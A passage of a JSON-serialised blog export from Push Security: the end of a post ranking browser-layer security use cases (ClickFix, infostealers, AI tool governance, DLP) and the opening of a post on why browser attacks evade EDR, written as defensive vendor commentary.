engines",{"data":3919,"marks":3920,"value":3921,"nodeType":865},{},[]," — not email (bypassing email anti-phishing controls).",{"data":3923,"content":3924,"nodeType":866},{},[3925],{"data":3926,"marks":3927,"value":3928,"nodeType":865},{},[],"The browser is the earliest and most effective intervention point — detecting the clipboard injection and social engineering lure before anything reaches the endpoint in executable form. But the problem doesn't end at the browser boundary: once the command has been pasted and run, detection and remediation become endpoint problems, and a mature defense requires both layers. The broader *Fix family — FileFix, InstallFix, and similar derivatives — follows the same pattern, with the browser providing the critical early-warning layer within a defense that spans browser and endpoint.",{"data":3930,"content":3934,"nodeType":912},{"target":3931},{"sys":3932},{"id":3933,"type":909,"linkType":910},"39alMHtw9FPHbQINqbAgBN",[],{"data":3936,"content":3937,"nodeType":972},{},[],{"data":3939,"content":3940,"nodeType":981},{},[3941],{"data":3942,"marks":3943,"value":3945,"nodeType":865},{},[3944],{"type":926},"#7 — AI visibility and control: enforcing which AI tools employees can use and how",{"data":3947,"content":3948,"nodeType":866},{},[3949],{"data":3950,"marks":3951,"value":3953,"nodeType":865},{},[3952],{"type":926},"Security value: High | Browser fit: Strong for access enforcement — but AI governance is not a new security problem so much as a force multiplier on existing ones",{"data":3955,"content":3956,"nodeType":866},{},[3957,3961,3970,3974,3983],{"data":3958,"marks":3959,"value":3960,"nodeType":865},{},[],"AI adoption is outpacing security governance at nearly every organization, and ",{"data":3962,"content":3964,"nodeType":889},{"uri":3963},"https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/",[3965],{"data":3966,"marks":3967,"value":3969,"nodeType":865},{},[3968],{"type":926},"71% of organizations are concerned about data leakage via unsanctioned AI apps",{"data":3971,"marks":3972,"value":3973,"nodeType":865},{},[],". But the security problems that AI creates are not, for the most part, novel — they are existing Tier 1 problems amplified by a new category of tooling. Shadow AI apps are shadow SaaS (#5). AI OAuth integrations are OAuth governance (#5). AI browser extensions are extension security (#4). The risk of employees using personal AI accounts — ",{"data":3975,"content":3977,"nodeType":889},{"uri":3976},"https://keepaware.com/blog/46-of-sensitive-data-bypasses-your-dlp",[3978],{"data":3979,"marks":3980,"value":3982,"nodeType":865},{},[3981],{"type":926},"46% of sensitive inputs to AI tools are sent via personal accounts",{"data":3984,"marks":3985,"value":3986,"nodeType":865},{},[]," — is an identity posture problem (#3).",{"data":3988,"content":3989,"nodeType":866},{},[3990],{"data":3991,"marks":3992,"value":3993,"nodeType":865},{},[],"The component parts that allow you to govern AI are individually Tier 1 capabilities, and the browser is the best single layer for gaining visibility and control over AI usage — it sees the apps, the OAuth grants, the extensions, and the account context. But a complete end-to-end solution also requires a presence on the endpoint layer (for local AI tools, IDE-integrated agents, and API-level usage that never touches the browser), and prompt-level DLP on sanctioned tools is better handled by platform-native controls than by browser-layer observation.",{"data":3995,"content":3999,"nodeType":912},{"target":3996},{"sys":3997},{"id":3998,"type":909,"linkType":910},"6Py3z9VgjhKrchmYvhmbsq",[],{"data":4001,"content":4002,"nodeType":866},{},[4003],{"data":4004,"marks":4005,"value":4006,"nodeType":865},{},[],"The browser is what makes platform controls effective — if employees are using personal accounts, there are no enterprise audit logs to inspect. And for the growing category of AI agents, agentic browsers, and MCP-connected tools that operate through OAuth grants rather than direct user interaction, the browser is where the consent decisions that authorize those agents are made.",{"data":4008,"content":4009,"nodeType":972},{},[],{"data":4011,"content":4012,"nodeType":981},{},[4013],{"data":4014,"marks":4015,"value":4017,"nodeType":865},{},[4016],{"type":926},"#8 — Investigation acceleration and incident response: closing the missing middle",{"data":4019,"content":4020,"nodeType":866},{},[4021],{"data":4022,"marks":4023,"value":4025,"nodeType":865},{},[4024],{"type":926},"Security value: High | Browser fit: Strong — fills a structural gap complementary to endpoint, network, and identity telemetry",{"data":4027,"content":4028,"nodeType":866},{},[4029,4033,4038,4042,4051],{"data":4030,"marks":4031,"value":4032,"nodeType":865},{},[],"Endpoint logs show what processes executed. Network logs show traffic destinations. IdP logs show authentication events. None of them show what happened ",{"data":4034,"marks":4035,"value":4037,"nodeType":865},{},[4036],{"type":898},"inside the browser session",{"data":4039,"marks":4040,"value":4041,"nodeType":865},{},[]," — the phishing page the user saw, the credentials they entered, the malicious OAuth consent grant, the data uploaded or pasted to an unsanctioned service. This is the missing middle of modern incident investigations, and for the ",{"data":4043,"content":4045,"nodeType":889},{"uri":4044},"https://www.paloaltonetworks.co.uk/resources/research/unit-42-incident-response-report",[4046],{"data":4047,"marks":4048,"value":4050,"nodeType":865},{},[4049],{"type":926},"48% of intrusions involving browser-based activity",{"data":4052,"marks":4053,"value":4054,"nodeType":865},{},[],", the absence of browser telemetry is a significant investigative gap.",{"data":4056,"content":4057,"nodeType":866},{},[4058],{"data":4059,"marks":4060,"value":4061,"nodeType":865},{},[],"Browser-layer telemetry fills that gap with a fundamentally different quality of signal: what users actually clicked, what pages loaded and how they behaved, what credentials were entered, what session activity followed — structured, high-fidelity data from inside the session where the attack played out. That's the difference between inferring what happened and seeing it directly, and it determines scope, drives containment decisions, and provides the direct evidential record that neither endpoint DLP nor network monitoring can supply for browser-native attacks.",{"data":4063,"content":4064,"nodeType":866},{},[4065],{"data":4066,"marks":4067,"value":4068,"nodeType":865},{},[],"Browser telemetry is a key addition to the investigative picture. Investigations are inherently multi-source — without browser data, reconstructing an incident from EDR, network, and IdP logs won't tell you the full picture (particularly when attacks are increasingly delivered outside of email, intercepting users as they browse the internet normally).",{"data":4070,"content":4071,"nodeType":866},{},[4072],{"data":4073,"marks":4074,"value":4075,"nodeType":865},{},[],"The browser provides the causal link that other sources miss: the bridge between \"a user visited a URL\" and \"credentials were submitted to a phishing page that issued a session token now being replayed from an attacker-controlled browser.\" Integrated with SIEM and SOAR platforms, that signal enables automated response workflows to execute on high-confidence detections without waiting for manual triage.",{"data":4077,"content":4078,"nodeType":972},{},[],{"data":4080,"content":4081,"nodeType":981},{},[4082],{"data":4083,"marks":4084,"value":4086,"nodeType":865},{},[4085],{"type":926},"#9 — Infostealer defense: detecting exposure and blocking delivery",{"data":4088,"content":4089,"nodeType":866},{},[4090],{"data":4091,"marks":4092,"value":4094,"nodeType":865},{},[4093],{"type":926},"Security value: High | Browser fit: Strong for delivery interception and stolen factor detection — complementary to endpoint security for execution",{"data":4096,"content":4097,"nodeType":866},{},[4098],{"data":4099,"marks":4100,"value":4101,"nodeType":865},{},[],"Infostealers are the upstream supply chain for a disproportionate share of the most damaging enterprise attacks — harvesting credentials, session cookies, and browser profile data en masse from infected devices, then selling the outputs on infostealer markets for use in credential stuffing, ATO, and ransomware campaigns.",{"data":4103,"content":4107,"nodeType":912},{"target":4104},{"sys":4105},{"id":4106,"type":909,"linkType":910},"5NF1afwu3zFGThZTtStVQA",[],{"data":4109,"content":4110,"nodeType":866},{},[4111],{"data":4112,"marks":4113,"value":4114,"nodeType":865},{},[],"The browser is relevant at two points in the infostealer kill chain. First, delivery interception: ClickFix (covered in #6) is now the primary infostealer delivery mechanism, and the browser is the only layer that can intercept it before execution. Second, detecting stolen factors when attackers attempt to use them — and infostealers produce two categories of stolen factor that the browser can guard against.",{"data":4116,"content":4117,"nodeType":1616},{},[4118,4128],{"data":4119,"content":4120,"nodeType":1570},{},[4121],{"data":4122,"content":4123,"nodeType":866},{},[4124],{"data":4125,"marks":4126,"value":4127,"nodeType":865},{},[],"Stolen credentials can be identified at the point of login: browser-layer detection flags credentials that appear in known breach datasets, catching infostealer-harvested passwords being replayed in credential stuffing campaigns before the account is compromised.",{"data":4129,"content":4130,"nodeType":1570},{},[4131],{"data":4132,"content":4133,"nodeType":866},{},[4134],{"data":4135,"marks":4136,"value":4137,"nodeType":865},{},[],"Stolen session tokens are caught through a different mechanism: sessions originating in instrumented browsers carry a marker, and when a token subsequently appears in an un-instrumented browser it is a confirmed stolen session — catching infostealer-harvested cookies being replayed regardless of how or where the token was originally harvested.",{"data":4139,"content":4140,"nodeType":866},{},[4141,4145,4154,4158,4163],{"data":4142,"marks":4143,"value":4144,"nodeType":865},{},[],"This is particularly critical for the ",{"data":4146,"content":4148,"nodeType":889},{"uri":4147},"https://www.verizon.com/business/en-gb/resources/reports/dbir/",[4149],{"data":4150,"marks":4151,"value":4153,"nodeType":865},{},[4152],{"type":926},"46% of infected devices that are unmanaged",{"data":4155,"marks":4156,"value":4157,"nodeType":865},{},[]," where EDR is absent and the stolen credentials and session tokens will never be detected at the endpoint. Infostealer ",{"data":4159,"marks":4160,"value":4162,"nodeType":865},{},[4161],{"type":898},"execution",{"data":4164,"marks":4165,"value":4166,"nodeType":865},{},[]," remains an endpoint problem; the browser closes the delivery and replay gaps that endpoint tools miss.",{"data":4168,"content":4169,"nodeType":972},{},[],{"data":4171,"content":4172,"nodeType":981},{},[4173],{"data":4174,"marks":4175,"value":4177,"nodeType":865},{},[4176],{"type":926},"#10 — Data loss prevention: a key component of effective DLP, but not the full picture",{"data":4179,"content":4180,"nodeType":866},{},[4181],{"data":4182,"marks":4183,"value":4185,"nodeType":865},{},[4184],{"type":926},"Security value: Medium-high | Browser fit: Partial — complementary to dedicated DLP",{"data":4187,"content":4188,"nodeType":866},{},[4189],{"data":4190,"marks":4191,"value":4192,"nodeType":865},{},[],"File uploads to unsanctioned services, sensitive data pasted into AI tools, and exfiltration through personal accounts are genuine and growing risks that traditional email and endpoint-centric DLP tools were not designed to catch. Browser-layer controls provide real value here — particularly for BYOD users and contractors, where endpoint DLP agents cannot be deployed and the browser is the only available data loss visibility.",{"data":4194,"content":4195,"nodeType":866},{},[4196],{"data":4197,"marks":4198,"value":4199,"nodeType":865},{},[],"The honest scope: browser-layer DLP does not cover email-based loss, endpoint-to-endpoint transfers, or cloud API exfiltration. It closes specific and important gaps within a broader DLP strategy, not a replacement for one. A further distinction for organizations evaluating browser DLP for secure third-party access: full-stack enterprise browsers can enforce deeper output controls — watermarking, obfuscation, screenshot and print restrictions — at the OS rendering level that browser extensions cannot reliably replicate. Extension-based browser DLP is strongest for upload, input, and access control use cases rather than OS-level output restriction.",{"data":4201,"content":4202,"nodeType":972},{},[],{"data":4204,"content":4205,"nodeType":981},{},[4206],{"data":4207,"marks":4208,"value":4210,"nodeType":865},{},[4209],{"type":926},"Tier 3 — Lower Value: A problem best addressed outside of the browser",{"data":4212,"content":4213,"nodeType":1616},{},[4214,4229,4244,4259],{"data":4215,"content":4216,"nodeType":1570},{},[4217],{"data":4218,"content":4219,"nodeType":866},{},[4220,4225],{"data":4221,"marks":4222,"value":4224,"nodeType":865},{},[4223],{"type":926},"Browser exploit protection",{"data":4226,"marks":4227,"value":4228,"nodeType":865},{},[]," (narrow RCE/sandbox sense) ranks lower because browser zero-days represent just 9% of all zero-days reported to Google, and 82% of attack detections are now malware-free (CrowdStrike 2026). This is a problem for browser vendors to solve, and it's not a big enough problem to warrant enterprises investing in additional mitigating controls.",{"data":4230,"content":4231,"nodeType":1570},{},[4232],{"data":4233,"content":4234,"nodeType":866},{},[4235,4240],{"data":4236,"marks":4237,"value":4239,"nodeType":865},{},[4238],{"type":926},"Domain and URL category controls",{"data":4241,"marks":4242,"value":4243,"nodeType":865},{},[]," offer genuine browser-layer value but are commoditized by SWG and DNS filtering tools most organizations already operate. This can be provided in the browser, sure (and it's something we do at Push) but offers limited security value in terms of making a difference against modern attacks that quickly rotate these kinds of indicators and are designed to blend in.",{"data":4245,"content":4246,"nodeType":1570},{},[4247],{"data":4248,"content":4249,"nodeType":866},{},[4250,4255],{"data":4251,"marks":4252,"value":4254,"nodeType":865},{},[4253],{"type":926},"Access management",{"data":4256,"marks":4257,"value":4258,"nodeType":865},{},[]," — ZTNA, VPN replacement, PAM, BYOD access control — is an IT infrastructure and access architecture problem, not a security operations problem, and belongs to a different buyer with a different evaluation frame. There are numerous (typically full-stack) Enterprise Browser solutions on the market that address IT use cases like this well.",{"data":4260,"content":4261,"nodeType":1570},{},[4262],{"data":4263,"content":4264,"nodeType":866},{},[4265,4269],{"data":4266,"marks":4267,"value":781,"nodeType":865},{},[4268],{"type":926},{"data":4270,"marks":4271,"value":4272,"nodeType":865},{},[]," addresses browser exploit risk rather than the identity-first attacks that represent the majority of current enterprise browser risk, and introduces UX friction that limits deployment at scale. When it triggers, it introduces latency but still fails to detect and stop browser-native attacks.",{"data":4274,"content":4275,"nodeType":972},{},[],{"data":4277,"content":4278,"nodeType":981},{},[4279],{"data":4280,"marks":4281,"value":4283,"nodeType":865},{},[4282],{"type":926},"How Push Security maps to the highest-value security use cases",{"data":4285,"content":4286,"nodeType":866},{},[4287],{"data":4288,"marks":4289,"value":4290,"nodeType":865},{},[],"Push is purpose-built to address all of these problems using a flexible browser extension — plug into any browser with no migration, no host agent deployment, and no IT overhead — that delivers telemetry and control from day one, and extends coverage to every enrolled browser regardless of device ownership.",{"data":4292,"content":4293,"nodeType":2927},{},[4294,4319,4343,4367,4391,4415,4439,4463,4487,4511,4535,4559],{"data":4295,"content":4296,"nodeType":2400},{},[4297,4308],{"data":4298,"content":4299,"nodeType":2366},{},[4300],{"data":4301,"content":4302,"nodeType":866},{},[4303],{"data":4304,"marks":4305,"value":4307,"nodeType":865},{},[4306],{"type":926},"Security use case",{"data":4309,"content":4310,"nodeType":2366},{},[4311],{"data":4312,"content":4313,"nodeType":866},{},[4314],{"data":4315,"marks":4316,"value":4318,"nodeType":865},{},[4317],{"type":926},"How Push addresses it",{"data":4320,"content":4321,"nodeType":2400},{},[4322,4333],{"data":4323,"content":4324,"nodeType":2366},{},[4325],{"data":4326,"content":4327,"nodeType":866},{},[4328],{"data":4329,"marks":4330,"value":4332,"nodeType":865},{},[4331],{"type":926},"Account takeover prevention",{"data":4334,"content":4335,"nodeType":2366},{},[4336],{"data":4337,"content":4338,"nodeType":866},{},[4339],{"data":4340,"marks":4341,"value":4342,"nodeType":865},{},[],"Surfaces and fixes ghost logins, weak and breached credentials and missing MFA controls across every app and device — including shadow SaaS and unmanaged devices invisible to the IdP. Push also detects and stops the attack techniques that typically lead to ATO early in the kill chain and before an account can be compromised.",{"data":4344,"content":4345,"nodeType":2400},{},[4346,4357],{"data":4347,"content":4348,"nodeType":2366},{},[4349],{"data":4350,"content":4351,"nodeType":866},{},[4352],{"data":4353,"marks":4354,"value":4356,"nodeType":865},{},[4355],{"type":926},"Advanced phishing detection",{"data":4358,"content":4359,"nodeType":2366},{},[4360],{"data":4361,"content":4362,"nodeType":866},{},[4363],{"data":4364,"marks":4365,"value":4366,"nodeType":865},{},[],"Behavioral page analysis detects phishing kits regardless of whether the domain is known-bad. Credential entry guardrails block corporate passwords from being submitted to unauthorized domains. TTP-based detection remains effective as attacker infrastructure rotates.",{"data":4368,"content":4369,"nodeType":2400},{},[4370,4381],{"data":4371,"content":4372,"nodeType":2366},{},[4373],{"data":4374,"content":4375,"nodeType":866},{},[4376],{"data":4377,"marks":4378,"value":4380,"nodeType":865},{},[4379],{"type":926},"Identity posture hardening",{"data":4382,"content":4383,"nodeType":2366},{},[4384],{"data":4385,"content":4386,"nodeType":866},{},[4387],{"data":4388,"marks":4389,"value":4390,"nodeType":865},{},[],"Enforces MFA, strong credentials, and SSO adoption across every app the IdP doesn't manage. Produces continuous, auditable MFA coverage and credential hygiene evidence across the full application and device estate.",{"data":4392,"content":4393,"nodeType":2400},{},[4394,4405],{"data":4395,"content":4396,"nodeType":2366},{},[4397],{"data":4398,"content":4399,"nodeType":866},{},[4400],{"data":4401,"marks":4402,"value":4404,"nodeType":865},{},[4403],{"type":926},"Browser extension security",{"data":4406,"content":4407,"nodeType":2366},{},[4408],{"data":4409,"content":4410,"nodeType":866},{},[4411],{"data":4412,"marks":4413,"value":4414,"nodeType":865},{},[],"Live extension inventory with supply chain change event monitoring — ownership transfers, permission escalations, developer contact changes — rather than static risk scoring. Supports default-deny allowlisting and remote extension removal. Blocks known-bad malicious extensions automatically.",{"data":4416,"content":4417,"nodeType":2400},{},[4418,4429],{"data":4419,"content":4420,"nodeType":2366},{},[4421],{"data":4422,"content":4423,"nodeType":866},{},[4424],{"data":4425,"marks":4426,"value":4428,"nodeType":865},{},[4427],{"type":926},"Shadow SaaS and OAuth governance",{"data":4430,"content":4431,"nodeType":2366},{},[4432],{"data":4433,"content":4434,"nodeType":866},{},[4435],{"data":4436,"marks":4437,"value":4438,"nodeType":865},{},[],"Discovers shadow SaaS from actual login events with full authentication context. Monitors and blocks OAuth consent flows — including AI and MCP integrations — in real time before persistent access paths are created.",{"data":4440,"content":4441,"nodeType":2400},{},[4442,4453],{"data":4443,"content":4444,"nodeType":2366},{},[4445],{"data":4446,"content":4447,"nodeType":866},{},[4448],{"data":4449,"marks":4450,"value":4452,"nodeType":865},{},[4451],{"type":926},"ClickFix and the *Fix family",{"data":4454,"content":4455,"nodeType":2366},{},[4456],{"data":4457,"content":4458,"nodeType":866},{},[4459],{"data":4460,"marks":4461,"value":4462,"nodeType":865},{},[],"Detects and blocks ClickFix lures, clipboard injection, and browser-native variants like ConsentFix in real time — before the payload executes or OAuth key material is captured.",{"data":4464,"content":4465,"nodeType":2400},{},[4466,4477],{"data":4467,"content":4468,"nodeType":2366},{},[4469],{"data":4470,"content":4471,"nodeType":866},{},[4472],{"data":4473,"marks":4474,"value":4476,"nodeType":865},{},[4475],{"type":926},"AI visibility & control",{"data":4478,"content":4479,"nodeType":2366},{},[4480],{"data":4481,"content":4482,"nodeType":866},{},[4483],{"data":4484,"marks":4485,"value":4486,"nodeType":865},{},[],"Enforces which AI tools employees can access and routes usage to corporate tenants. Governs AI browser extensions and blocks OAuth consent grants to unapproved AI applications — drawing on the same Tier 1 capabilities (OAuth governance, extension security, shadow SaaS discovery) that make this possible.",{"data":4488,"content":4489,"nodeType":2400},{},[4490,4501],{"data":4491,"content":4492,"nodeType":2366},{},[4493],{"data":4494,"content":4495,"nodeType":866},{},[4496],{"data":4497,"marks":4498,"value":4500,"nodeType":865},{},[4499],{"type":926},"Security investigations & incident response",{"data":4502,"content":4503,"nodeType":2366},{},[4504],{"data":4505,"content":4506,"nodeType":866},{},[4507],{"data":4508,"marks":4509,"value":4510,"nodeType":865},{},[],"High-fidelity session telemetry — page loads, credential entries, DOM changes, OAuth grants — fills the missing middle that endpoint, network, and IdP logs leave open. Feeds directly into SIEM and SOAR for automated response.",{"data":4512,"content":4513,"nodeType":2400},{},[4514,4525],{"data":4515,"content":4516,"nodeType":2366},{},[4517],{"data":4518,"content":4519,"nodeType":866},{},[4520],{"data":4521,"marks":4522,"value":4524,"nodeType":865},{},[4523],{"type":926},"Infostealer defense",{"data":4526,"content":4527,"nodeType":2366},{},[4528],{"data":4529,"content":4530,"nodeType":866},{},[4531],{"data":4532,"marks":4533,"value":4534,"nodeType":865},{},[],"Intercepts ClickFix-based infostealer delivery before execution. Detects token replay in unenrolled browser contexts — catching post-theft abuse from AiTM-sourced tokens and infostealer-harvested cookies, including from unmanaged devices.",{"data":4536,"content":4537,"nodeType":2400},{},[4538,4549],{"data":4539,"content":4540,"nodeType":2366},{},[4541],{"data":4542,"content":4543,"nodeType":866},{},[4544],{"data":4545,"marks":4546,"value":4548,"nodeType":865},{},[4547],{"type":926},"Data loss prevention",{"data":4550,"content":4551,"nodeType":2366},{},[4552],{"data":4553,"content":4554,"nodeType":866},{},[4555],{"data":4556,"marks":4557,"value":4558,"nodeType":865},{},[],"Observes file uploads, downloads, and sensitive data inputs across all applications. Extends data loss visibility to BYOD and contractor devices where endpoint DLP cannot reach.",{"data":4560,"content":4561,"nodeType":2400},{},[4562,4572],{"data":4563,"content":4564,"nodeType":2366},{},[4565],{"data":4566,"content":4567,"nodeType":866},{},[4568],{"data":4569,"marks":4570,"value":4239,"nodeType":865},{},[4571],{"type":926},{"data":4573,"content":4574,"nodeType":2366},{},[4575],{"data":4576,"content":4577,"nodeType":866},{},[4578],{"data":4579,"marks":4580,"value":4581,"nodeType":865},{},[],"Custom URL blocklists with wildcard support and REST API management for threat intelligence feed sync. Application category blocking restricts access to classes of apps (file-sharing, unsanctioned AI tools) configurable by user group. Domain categorization bringing SWG-style category blocking natively to the browser without a network proxy.",{"data":4583,"content":4584,"nodeType":972},{},[],{"data":4586,"content":4587,"nodeType":866},{},[4588,4592,4598],{"data":4589,"marks":4590,"value":4591,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. ",{"data":4593,"content":4594,"nodeType":889},{"uri":1372},[4595],{"data":4596,"marks":4597,"value":1378,"nodeType":865},{},[],{"data":4599,"marks":4600,"value":21,"nodeType":865},{},[],"The top 10 security problems you can solve in the browser — ranked by value","Ranking the security problems you can solve in the browser by security value and browser fit.","2026-05-14T00:00:00.000Z","the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value",{"items":4606},[4607,4609],{"sys":4608,"name":297},{"id":2310},{"sys":4610,"name":2314},{"id":2313},{"items":4612},[4613],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":4617},"Alex Henshall","Alex","Product Team",{"url":4618},"https://images.ctfassets.net/y1cdw1ablpvd/2rz3Pre3b1MexPIQ4hzPUe/0ef8a092b7e7df00fbce3f7d1ccb96d1/Alex_Henshall.jpeg","why-your-training-budget-belongs-in-real-time-browser-security","blog/why-your-training-budget-belongs-in-real-time-browser-security",{"json":4622},{"data":4623,"content":4624,"nodeType":1382},{},[4625],{"data":4626,"content":4627,"nodeType":866},{},[4628],{"data":4629,"marks":4630,"value":4631,"nodeType":865},{},[],"Organizations spend billions annually on security awareness training, but can't keep up with attack evolution. Browser-based technical controls can make the difference where training falls short.","Organizations spend billions annually on awareness training. Here's why browser-based technical controls can make the difference where training falls short. ",{"id":4634,"publishedAt":4635},"3UADFvNqybXoCYlWtJPohK","2026-08-12T11:52:40.899Z",{"items":4637},[4638,4640],{"sys":4639,"name":297},{"id":2310},{"sys":4641,"name":342},{"id":4642},"4ksQNCFeBf8H4QIORqpRLw",{"items":4644},[4645,4647,4649,4651,4653,4655,4657,4659,4661,4663,4665,4667,4669,4671],{"sys":4646,"name":297,"slug":298,"tier":31},{"id":294},{"sys":4648,"name":519,"slug":520,"tier":31},{"id":516},{"sys":4650,"name":279,"slug":280,"tier":31},{"id":276},{"sys":4652,"name":554,"slug":555,"tier":45},{"id":551},{"sys":4654,"name":261,"slug":262,"tier":45},{"id":258},{"sys":4656,"name":315,"slug":316,"tier":45},{"id":312},{"sys":4658,"name":475,"slug":476,"tier":45},{"id":472},{"sys":4660,"name":440,"slug":441,"tier":45},{"id":437},{"sys":4662,"name":360,"slug":361,"tier":45},{"id":357},{"sys":4664,"name":607,"slug":608,"tier":45},{"id":604},{"sys":4666,"name":422,"slug":423,"tier":45},{"id":419},{"sys":4668,"name":324,"slug":325,"tier":45},{"id":321},{"sys":4670,"name":571,"slug":572,"tier":45},{"id":568},{"sys":4672,"name":244,"slug":245,"tier":45},{"id":241},"AUI3W3xOkFC745RamDcux4zdpTSSzBzbv9oKjLfOMco",{"id":4675,"title":4676,"authorsCollection":4677,"content":4684,"extension":228,"faqItemsCollection":5561,"faqTitle":59,"featured":6,"hashTags":59,"meta":5563,"metaTitle":5564,"ogImage":59,"postType":1424,"publishedDate":3347,"relatedBlogPostsCollection":5565,"slug":7805,"stem":7806,"subtitle":59,"summary":7807,"synopsis":7818,"sys":7819,"tagsCollection":7822,"topicsCollection":7828,"__hash__":7860},"blog/blog/why-modern-browser-attacks-evade-edr.json","Your EDR is working exactly as intended. Attackers are getting around it anyway.",{"items":4678},[4679],{"fullName":4680,"firstName":4681,"jobTitle":4616,"socialLinks":59,"profilePicture":4682},"Peyton Padfield","Peyton",{"url":4683},"https://images.ctfassets.net/y1cdw1ablpvd/1GU01HXElmc07nwi89qP3b/3188050420106c62e9df2ed4e4893b7f/1677005177901__1_.jpeg",{"json":4685,"links":5486},{"data":4686,"content":4687,"nodeType":1382},{},[4688,4696,4703,4710,4717,4724,4744,4762,4765,4773,4780,4798,4804,4823,4830,4833,4841,4848,4855,4862,4869,4876,4894,4901,4918,4925,4941,4948,4965,4972,5001,5007,5010,5018,5025,5033,5063,5071,5078,5085,5093,5133,5139,5142,5150,5157,5165,5172,5179,5187,5194,5202,5209,5217,5224,5252,5258,5261,5269,5276,5284,5291,5298,5306,5313,5320,5327,5335,5342,5349,5355,5358,5366,5373,5439,5447,5466,5469],{"data":4689,"content":4690,"nodeType":981},{},[4691],{"data":4692,"marks":4693,"value":4695,"nodeType":865},{},[4694],{"type":926},"Why endpoint security has a blind spot in the browser ",{"data":4697,"content":4698,"nodeType":866},{},[4699],{"data":4700,"marks":4701,"value":4702,"nodeType":865},{},[],"Modern EDR makes compromising the OS hard. Process execution, memory behavior, file system changes: all of it under real-time scrutiny from an agent that never sleeps. Getting in through the endpoint is expensive, noisy, and increasingly not worth the effort.",{"data":4704,"content":4705,"nodeType":866},{},[4706],{"data":4707,"marks":4708,"value":4709,"nodeType":865},{},[],"So attackers expanded their focus. ",{"data":4711,"content":4712,"nodeType":866},{},[4713],{"data":4714,"marks":4715,"value":4716,"nodeType":865},{},[],"The browser is the logical target. It's where work happens now. Authentication, data access, application administration, sensitive file handling — all of it inside a browser tab, with no real security instrumentation, no behavioral detection, and no one paying attention. ",{"data":4718,"content":4719,"nodeType":866},{},[4720],{"data":4721,"marks":4722,"value":4723,"nodeType":865},{},[],"The endpoint got Falcon, Defender, Singularity, Cortex, etc. The browser didn't. And the economics made the choice obvious: a PhaaS kit that proxies credentials and steals session tokens costs about $1k a year, a credential list off a dark web marketplace runs $15, and an admin-level account from an initial access broker goes for a few thousand dollars. None of those require getting past an endpoint agent.",{"data":4725,"content":4726,"nodeType":866},{},[4727,4731,4740],{"data":4728,"marks":4729,"value":4730,"nodeType":865},{},[],"We've written before about ",{"data":4732,"content":4734,"nodeType":889},{"uri":4733},"https://pushsecurity.com/blog/push-plus-endpoint-security",[4735],{"data":4736,"marks":4737,"value":4739,"nodeType":865},{},[4738],{"type":943},"how Push and endpoint security fit together",{"data":4741,"marks":4742,"value":4743,"nodeType":865},{},[]," and how the two layers complement each other. This post goes further into why succeeding at securing the endpoint isn't enough on its own, and why the gap between what EDR sees and what actually happens in the browser is exactly where attackers have built their playbook.",{"data":4745,"content":4746,"nodeType":866},{},[4747,4750,4758],{"data":4748,"marks":4749,"value":21,"nodeType":865},{},[],{"data":4751,"content":4752,"nodeType":889},{"uri":1929},[4753],{"data":4754,"marks":4755,"value":4757,"nodeType":865},{},[4756],{"type":943},"82% of attack detections are now malware-free",{"data":4759,"marks":4760,"value":4761,"nodeType":865},{},[],", according to CrowdStrike's 2026 Global Threat Report, and that's not because attackers got more sophisticated. If anything, the barrier to entry is considerably lower now. It's because they got smarter about where to target their efforts.",{"data":4763,"content":4764,"nodeType":972},{},[],{"data":4766,"content":4767,"nodeType":981},{},[4768],{"data":4769,"marks":4770,"value":4772,"nodeType":865},{},[4771],{"type":926},"What EDR actually sees",{"data":4774,"content":4775,"nodeType":866},{},[4776],{"data":4777,"marks":4778,"value":4779,"nodeType":865},{},[],"Before behavioral detection, defense meant chasing known-bad indicators: a malicious hash was identified, it got blocked, the attacker changed the hash, and the cycle repeated indefinitely. EDR broke that dynamic by running an agent inside the operating system and watching what actually happened on the host — process execution, file system changes, memory behavior, registry modifications.",{"data":4781,"content":4782,"nodeType":866},{},[4783,4786,4794],{"data":4784,"marks":4785,"value":1449,"nodeType":865},{},[],{"data":4787,"content":4789,"nodeType":889},{"uri":4788},"https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/",[4790],{"data":4791,"marks":4792,"value":4793,"nodeType":865},{},[],"Pyramid of Pain",{"data":4795,"marks":4796,"value":4797,"nodeType":865},{},[]," explains why this worked. Tools and indicators at the bottom of the pyramid are trivially easy for attackers to rotate, while behavioral TTPs at the top are expensive to change. EDR moved detection up the pyramid, which is why fileless attacks, living-off-the-land techniques, and lateral movement started getting caught. It's also why attackers shifted their focus away from the OS.",{"data":4799,"content":4803,"nodeType":912},{"target":4800},{"sys":4801},{"id":4802,"type":909,"linkType":910},"2N04ycJ6RKGfHdX5X1TwU3",[],{"data":4805,"content":4806,"nodeType":866},{},[4807,4811,4819],{"data":4808,"marks":4809,"value":4810,"nodeType":865},{},[],"All of that visibility ends at the browser boundary. From the EDR agent's perspective, Chrome is a well-behaved process. It opens, connects to the internet, does browser things. The agent can see the process, but it can't see which tab is open, what the page is rendering, what scripts are executing, or whether the login form the user just submitted was real or a convincing ",{"data":4812,"content":4814,"nodeType":889},{"uri":4813},"https://pushsecurity.com/blog/2025-top-phishing-trends/",[4815],{"data":4816,"marks":4817,"value":4818,"nodeType":865},{},[],"cloned page",{"data":4820,"marks":4821,"value":4822,"nodeType":865},{},[],". It doesn't know whether the session token that just got issued is about to leave the organization.",{"data":4824,"content":4825,"nodeType":866},{},[4826],{"data":4827,"marks":4828,"value":4829,"nodeType":865},{},[],"For browser-based attacks, EDR registers nothing unusual, because nothing unusual happened at the OS layer. EDR worked — but the attackers worked around it.",{"data":4831,"content":4832,"nodeType":972},{},[],{"data":4834,"content":4835,"nodeType":981},{},[4836],{"data":4837,"marks":4838,"value":4840,"nodeType":865},{},[4839],{"type":926},"The attack surface has moved beyond the endpoint",{"data":4842,"content":4843,"nodeType":866},{},[4844],{"data":4845,"marks":4846,"value":4847,"nodeType":865},{},[],"Attackers didn't stumble into the browser. They moved there deliberately, and the tooling reflects it.",{"data":4849,"content":4850,"nodeType":866},{},[4851],{"data":4852,"marks":4853,"value":4854,"nodeType":865},{},[],"The numbers tell the story. PhaaS-driven account compromise surged 389% year-over-year according to eSentire. Fake CAPTCHA lures used in ClickFix attacks increased 563% in 2025, according to CrowdStrike, and ClickFix is now the most common initial access vector observed by Microsoft, accounting for 47% of attacks. 